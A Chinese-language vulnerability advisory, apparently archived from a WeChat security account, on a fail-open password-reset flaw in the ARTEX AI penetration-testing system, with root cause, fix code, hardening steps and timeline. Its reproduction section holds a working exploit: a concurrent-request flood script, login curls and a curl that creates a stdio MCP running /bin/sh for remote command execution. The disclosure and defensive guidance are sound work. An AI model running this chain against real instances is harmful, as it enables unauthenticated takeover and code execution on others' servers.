【突发】ARTEX存在无条件管理密码重置漏洞,已本地复现
原创
Thanatos
Thanatos
星宇Sec
2026年10月17日 02:17
山东
标题已修改
去阅读
影响项目:ARTEX(AI自主渗透测试系统)
漏洞类型:认证绕过/无条件密码重置(Fail-Open失败放行)
影响版本:v0.1.0–v0.3.14
修复版本:v0.3.15及以后(mhtsec/ARTEX)
〇、项目背景
ARTEX是一款面向企业攻击面的AI自主渗透测试系统(Go后端+Next.js前端),由作者Autumn-27于2026-07-26发布至GitHub,并于2026-09-03在百度安全「Agent+」攻防能力挑战赛中取得总榜第一。其后,该工具被攻击者恶意利用,引发多起境外金融行业安全事件,作者遂于2026-10-08宣布项目转为闭源。详情参考:
华南理工大学某学生疑似黑入多家韩国金融机构实行网络攻击
Ashley Campion,公众号:星宇Sec华南理工大学某学生疑似黑入多家韩国金融机构实行网络攻击
目前仍在维护的仓库mhtsec/ARTEX为开源版闭源前最后一个版本的纯源码备份,由「棉花糖」(@mhtsec)接手维护,本文所述漏洞即在该仓库中完成修复。
一、漏洞概述与影响版本
1.1 漏洞概述
ARTEX的「首次设置管理员密码」接口POST /api/auth/init(服务端处理函数为authInit)在判定系统是否已完成密码初始化时,显式忽略了数据库查询返回的error值。而GetSetting在「键不存在」与「读取失败」两种情形下的返回值仅相差一个error:二者的value均为空字符串。
因此,当攻击者设法令该次数据库读取发生错误时,代码会将「查询失败」误判为「从未设置密码」,进而放行一个完全未经认证的请求以覆盖既有的管理员密码,并即时签发合法的管理员JWT。
该缺陷属于典型的Fail-Open(失败放行)模式:安全校验在异常情形下应默认拒绝(fail-closed),却错误地默认放行。
- CWE:CWE-636(Not Failing Securely/Fail Open)、CWE-754(Improper Check for Unusual or Exceptional Conditions)
- OWASP Top 10:A01 Broken Access Control、A07 Identification and Authentication Failures;对应OWASP Top 10 2025新增的A10 Mishandling of Exceptional Conditions
1.2 影响版本
| 版本区间 | 状态 | 说明 |
|---|---|---|
| v0.1.0–v0.3.14 | 受影响 | 自仓库首个提交(2026-07-26初始化)起即存在,贯穿全部开源历史版本 |
| v0.3.15 | 已修复 | 官方修复提交8d8c102(PR#197,分支fix/auth-init-fail-open,2026-10-07) |
| v0.3.16–v0.3.19 | 已修复并持续加固 | 追加会话撤销、登录限速、持久失败锁定、认证审计、连接池上限等 |
- 最早受影响版本:v0.1.0(自仓库首个提交起)。
- 最后受影响版本:v0.3.14,即项目闭源前发布的最后一个开源版本。
- 修复起始版本:v0.3.15,由继续维护仓库mhtsec/ARTEX提供。
结论:仍在运行v0.3.14及更早版本的ARTEX实例应立即处置。
二、漏洞原理
2.1 缺陷代码
问题位于server/auth.go的authInit及同文件的authStatus,二者对GetSetting返回值的处理存在缺陷(以v0.3.14为例):
// GET /api/auth/status
func (s *Server) authStatus(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
return
}
hash, _, _ := pg.GetSetting(authPassKey) // ← 第三个返回值 error 被丢弃
writeJSON(w, 200, map[string]any{\"initialized\": hash != \"\"})
}
// POST /api/auth/init —— 首次设置密码
func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
return
}
existing, _, _ := pg.GetSetting(authPassKey) // ← error 被丢弃
if existing != \"\" {
writeErr(w, 403, \"密码已设置\")
return
}
// …校验、bcrypt 计算…
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { // ← upsert,直接覆盖
writeErr(w, 500, \"保存失败: \"+err.Error())
return
}
tok, err := signJWT(s.jwtKey)
// …签发管理员 token 并返回…
}
2.2 GetSetting的返回值语义
func (d *DB) GetSetting(key string) (value string, ok bool, err error) {
err = d.QueryRow(`SELECT value FROM settings WHERE key=$1`, key).Scan(&value)
if err == sql.ErrNoRows {
return\"\", false, nil // 键不存在:value=\"\" , err=nil
}
if err != nil {
return\"\", false, err // 读取失败:value=\"\" , err!=nil
}
return value, true, nil
}
「未设置密码」返回(\"\", false, nil),而「数据库读取出错」返回(\"\", false, err)。两种情形的value均为空串,唯一的区分标志是error。authInit却将该error显式忽略,致使:
「查询失败」==(在该逻辑中)==「从未设置密码」
守卫由此被绕过,代码继续执行至SetSetting,以请求体中的密码执行写入(旧版为ON CONFLICT DO UPDATE的upsert语义,将直接覆盖既有密码),随后签发管理员JWT。
2.3 未认证请求的可达性
旧版requireAuth将/api/auth/*整个前缀列入白名单予以豁免:
if strings.HasPrefix(p, \"/api/auth/\") || p == \"/api/health\" {
h.ServeHTTP(w, r)
return
}
/api/auth/init的设计意图是供「尚未初始化」的实例使用,天然无需鉴权。正因其免鉴权,攻击者可对其发起任意、并发的调用。这既提供了攻击入口,也构成了制造数据库读取失败的条件。
2.4 触发条件:连接池耗尽
旧版未对PostgreSQL连接池设置上限(database/sql默认不限制应用自身可打开的连接数),亦无并发或频率限制。攻击者仅需并发地向/api/auth/init发起大量请求:
- 每个请求均会执行一次
GetSetting(及后续bcrypt运算),迅速占满连接; - 连接数达到PostgreSQL的
max_connections(默认100)后,后续查询因无法获取连接而报错; GetSetting返回(\"\", false, err);authInit忽略该error,判定为「未初始化」,放行请求并写入攻击者指定的密码。
该机制亦可解释事件记录中的异常现象:settings表中密码字段于1.78秒内被写入36次,平均间隔48毫秒;而单次bcrypt运算约需130毫秒,串行执行无法达成,只能是并发请求所致。
三、影响
3.1 直接后果:未认证接管与远程命令执行
管理员密码一旦被覆盖,攻击者即获得合法的管理员JWT,进而可调用全部管理员接口。其中最具危险性的为MCP管理接口:
- ARTEX的MCP支持
stdio传输:在界面中配置command与args后,服务端会将其作为子进程启动。 - 此乃MCP协议的固有设计,本身并非缺陷;但其含义是「具备MCP创建权限者可于服务器上执行命令」。
故完整攻击链仅需两步:
覆盖管理员密码 → 获取管理员token → 创建stdio型MCP → 服务器命令执行(RCE)
在已公开的事件记录中,受害实例的MCP列表新增如下条目:
name: h1probe
transport: stdio
command: /bin/sh
args: [\"-c\", \"id; hostname; echo H1_STDIO_RCE_OK\"]
enabled: true
并伴随日志:[mcp] h1probe添加后工具发现失败: mcp: connection closed。/bin/sh执行完毕后即退出,不会实现MCP协议,连接随即断开,故ARTEX记为「发现失败」。该条报错即命令执行成功的直接证据。
3.2 加剧危害的设计缺陷
- 认证行为无审计日志:旧版对登录、改密、密码初始化均不作记录。攻击者覆盖密码后几乎不留痕迹,取证方仅能借助PostgreSQL死元组,从settings表恢复出38个历史密码版本,方才还原出时间线。
- token无会话与密码版本绑定:旧版JWT仅包含
sub、iat、exp(有效期7天),缺乏credential绑定,故「修改密码不会使旧token失效」,攻击者已获取的token在有效期内持续可用;欲强制下线,只能轮换签名密钥。 - 管理端口默认暴露于公网:默认
docker-compose.yml将管理端口映射为0.0.0.0:8787->8787,使整个管理入口直接面向公网。
3.3 现实危害
ARTEX作为AI自主渗透测试系统,内建自主扫描、漏洞发现与利用编排能力。实例一旦被接管,攻击者不仅取得服务器控制权,更获得一个可直接用于对外攻击的自动化平台。此类系统若暴露于公网且存在未认证接管缺陷,其风险显著高于一般Web应用。
四、漏洞复现
本节内容仅限本地授权环境下的漏洞验证与防护检测。严禁对任何线上系统或非授权资产发起测试。
4.1 环境
ARTEX(受影响版本,如 v0.3.14) + PostgreSQL
默认管理端口 :8787
4.2 复现步骤
步骤0:正常初始化一次管理员密码(模拟真实用户)
curl -s -X POST http://TARGET:8787/api/auth/init \\
-H 'Content-Type: application/json' \\
-d '{\"password\":\"LegitPass123\"}'
# => {\"token\":\"...\"}
此后再次调用应被拒绝(表明密码已设置):
curl -s -o /dev/null -w \"%{http_code}\
\" -X POST http://TARGET:8787/api/auth/init \\
-H 'Content-Type: application/json' -d '{\"password\":\"Another123\"}'
# => 403
步骤1:并发请求/api/auth/init,耗尽数据库连接,触发Fail-Open
# flood.py —— 并发触发读取失败
import sys, json, threading, urllib.request, urllib.error
base, pw, n = sys.argv[1], sys.argv[2], int(sys.argv[3])
barrier = threading.Barrier(n)
def hit():
body = json.dumps({\"password\": pw}).encode()
req = urllib.request.Request(base + \"/api/auth/init\", data=body,
headers={\"Content-Type\": \"application/json\"}, method=\"POST\")
barrier.wait()
try:
urllib.request.urlopen(req, timeout=30).status
except urllib.error.HTTPError:
pass
except Exception:
pass
ts = [threading.Thread(target=hit) for _ in range(n)]
for t in ts: t.start()
for t in ts: t.join()
python flood.py http://TARGET:8787 'PwnedByAttacker123' 400
步骤2:以攻击者密码登录
# 合法密码已失效
curl -s -o /dev/null -w \"legit=%{http_code}\
\" -X POST http://TARGET:8787/api/auth/login \\
-H 'Content-Type: application/json' -d '{\"username\":\"ARTEX\",\"password\":\"LegitPass123\"}'
# => legit=401
# 攻击者密码登录成功,取得管理员token
curl -s -X POST http://TARGET:8787/api/auth/login \\
-H 'Content-Type: application/json' -d '{\"username\":\"ARTEX\",\"password\":\"PwnedByAttacker123\"}'
# => {\"token\":\"...\"} ← 未认证接管成功
步骤3(危害验证):以所获token创建stdio型MCP,实现命令执行
TOKEN=<上一步取得的token>
curl -s -X POST http://TARGET:8787/api/mcp \\
-H \"Authorization: Bearer $TOKEN\" -H 'Content-Type: application/json' \\
-d '{\"name\":\"h1probe\",\"transport\":\"stdio\",\"command\":\"/bin/sh\",
\"args\":[\"-c\",\"id; hostname\"],\"enabled\":true}'
# 服务端将 /bin/sh 作为子进程启动 → 命令执行
4.3 实测结果
| 版本 | 400并发请求 | 合法密码登录 | 攻击者密码登录 | 结论 |
|---|---|---|---|---|
| v0.3.14 | 出现大量200(约55次写库成功) |
401 |
200 |
接管成功 |
| v0.3.15 | 全部403 |
200 |
401 |
已修复 |
实测中,v0.3.14的settings表内auth.password_hash被替换为攻击者的bcrypt哈希;v0.3.15则始终返回503/403,合法密码保持有效。
五、修复版本与措施
漏洞由官方修复提交\\8d8c102(PR#197,分支fix/auth-init-fail-open)修复,随v0.3.15\\发布,其修复内容与业界通行的处置建议一致:
- Fail-Closed:
authInit/authStatus读取出错时统一返回503,绝不将「读不到」视为「没有」:
const errDataSourceUnavailable = \"数据源暂时不可用,请稍后重试\"
existing, _, err := pg.GetSetting(authPassKey)
if err != nil {
writeErr(w, 503, errDataSourceUnavailable)
return
}
if existing != \"\" {
writeErr(w, 403, \"密码已设置\")
return
}
- 将「仅首次可设」下沉至数据库主键约束:写入由
SetSetting(upsert,会覆盖)改为InsertSettingIfAbsent(INSERT ... ON CONFLICT DO NOTHING),在并发撞车或读检查失效时亦不会覆盖既有密码:
inserted, err := pg.InsertSettingIfAbsent(authPassKey, string(hash))
if err != nil { /* 500 */ }
if !inserted {
writeErr(w, 403, \"密码已设置\")
return
}
- 连接池上限:
sqlDB.SetMaxOpenConns(32)、SetMaxIdleConns(32),并补充连接寿命与空闲淘汰,防止应用自身将连接数顶至max_connections。 - 回归测试:新增
server/auth_test.go,通过主动关闭连接池制造读取失败,断言两处handler均fail-closed。
后续版本(v0.3.17–v0.3.19)进一步加固:
- 会话撤销:JWT绑定当前密码(
cvcredential binding claim),改密或脚本重置后旧token立即失效,并关闭旧活动流; - 登录限速与持久失败锁定:来源限速、实例总量与并发上限,连续失败达阈值后暂时锁定且跨重启保存;
- 认证审计:记录成功、失败、锁定与密码变更(不记录凭据与请求正文);
- 管理端口默认仅绑定本机:单二进制、开发启动与Compose的管理端口默认仅监听
127.0.0.1。
升级方式:
# 使用继续维护仓库(含修复)
git clone https://github.com/mhtsec/ARTEX.git && cd ARTEX
cp .env.example .env
docker compose up -d # 或 docker compose build 后 up -d
注意:原Docker镜像源
autumn27/artex已失效,当前可用镜像为mianhuatang11/artex(Docker Hub)。请务必确认镜像tag≥v0.3.15。
六、手动修复方法
若无法立即升级,可按以下顺序手动加固。
6.1 第一步:立即撤出公网(优先级最高、见效最快)
修改docker-compose.yml,将管理端口改为仅绑定本机,杜绝公网直接访问:
services:
artex:
ports:
- \"127.0.0.1:8787:8787\"
- \"127.0.0.1:8788:8788\"
docker compose up -d
如需远程访问,应通过VPN、SSH隧道或带认证与访问控制的反向代理,切勿直接暴露8787。
6.2 第二步:将authInit改为「失败关闭」
在server/auth.go中,补齐缺失的error判定(authInit与authStatus两处):
// 修改前
existing, _, _ := pg.GetSetting(authPassKey)
if existing != \"\" { // 读失败时会放行 → 覆盖密码
writeErr(w, 403, \"密码已设置\")
return
}
// 修改后
existing, _, err := pg.GetSetting(authPassKey)
if err != nil {
writeErr(w, 503, \"数据源暂时不可用,请稍后重试\")
return
}
if existing != \"\" {
writeErr(w, 403, \"密码已设置\")
return
}
同时将写密码由upsert改为「仅首插」,交由数据库主键约束兜底:
// 修改前:会覆盖
if err := pg.SetSetting(authPassKey, string(hash)); err != nil { ... }
// 修改后:已存在则不写入
inserted, err := pg.InsertSettingIfAbsent(authPassKey, string(hash))
if err != nil { /* 500 */ }
if !inserted {
writeErr(w, 403, \"密码已设置\")
return
}
6.3 第三步:设置连接池上限
sqlDB.SetMaxOpenConns(20) // 或 32,视 PostgreSQL max_connections 留足余量
sqlDB.SetMaxIdleConns(20)
sqlDB.SetConnMaxLifetime(30 * time.Minute)
6.4 第四步:补充认证日志与失败锁定(纵深防御)
- 登录、失败、改密、初始化全部落入审计日志(不记录凭据与正文);
- 登录增加失败计数与锁定,并施加来源限速。
6.5 通用原则
数据库操作失败时,代码必须能够区分「没有」与「查不到」。所有将「读失败」与「未设置」混为一谈的调用,均应逐一审计并改为fail-closed。
6.6 若怀疑已被入侵
- 轮换JWT签名密钥(旧token无法失效,必须更换key方能剔除既有会话):删除或替换
jwt.key并重启。 - 重置管理员密码(使用
reset-password.sh)。 - 审计MCP与自定义工具列表,删除任何可疑的
stdio条目(如异常的command/args)。 - 检查数据库settings表中密码行的历史与变更时间。
- 排查服务器上由MCP子进程拉起的异常进程与出网连接。
七、时间线
| 日期 | 事件 |
|---|---|
| 2026-07-26 | ARTEX开源发布(含本漏洞,仓库首个提交) |
| 2026-09-03 | 获百度「Agent+」攻防挑战赛冠军 |
| 2026-09-24 | 发布v0.3.14(闭源前最后一个开源版本,仍受影响) |
| 2026-09-27~10-01 | 韩国多家金融机构遭入侵(攻击者使用ARTEX) |
| 2026-10-07 | CrowdStrike发布报告;同日官方修复并发布v0.3.15 |
| 2026-10-08 | 项目宣布转为闭源;mhtsec/ARTEX作为源码备份继续维护 |
| 2026-10-17 | 继续维护仓库发布v0.3.19(已修复并持续加固) |
八、参考文献
[1] CROWDSTRIKE INTELLIGENCE. Unknown threat actor uses AI-driven ARTEX to target South Korean finance[R/OL]. (2026-10-07)[2026-10-17]. https://www.crowdstrike.com/en-us/blog/unknown-threat-actor-uses-artex-to-target-south-korean-finance/.
[2] SALTZER J H, SCHROEDER M D. The protection of information in computer systems[J]. Proceedings of the IEEE, 1975, 63(9): 1278-1308.
[3] MITRE. CWE-636: Not failing securely ('failing open')[EB/OL]. [2026-10-17]. https://cwe.mitre.org/data/definitions/636.html.
[4] MITRE. CWE-754: Improper check for unusual or exceptional conditions[EB/OL]. [2026-10-17]. https://cwe.mitre.org/data/definitions/754.html.
[5] OWASP FOUNDATION. OWASP top 10: 2021[EB/OL]. [2026-10-17]. https://owasp.org/Top10/.
[6] STUTTARD D, PINTO M. The web application hacker's handbook: finding and exploiting security flaws[M]. 2nd ed. Indianapolis: Wiley Publishing, 2011.
[7] FreeBuf. 冠军AI渗透工具:ARTEX架构拆解[EB/OL]. (2026-10-11)[2026-10-17]. https://www.freebuf.com/news/506473.html.
[8] mhtsec. ARTEX[CP/OL]. [2026-10-17]. https://github.com/mhtsec/ARTEX.
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。




![[随波逐流]CSDN文章转PDF工具V3.020261010"](/images/random/titlepic/6.jpg)



评论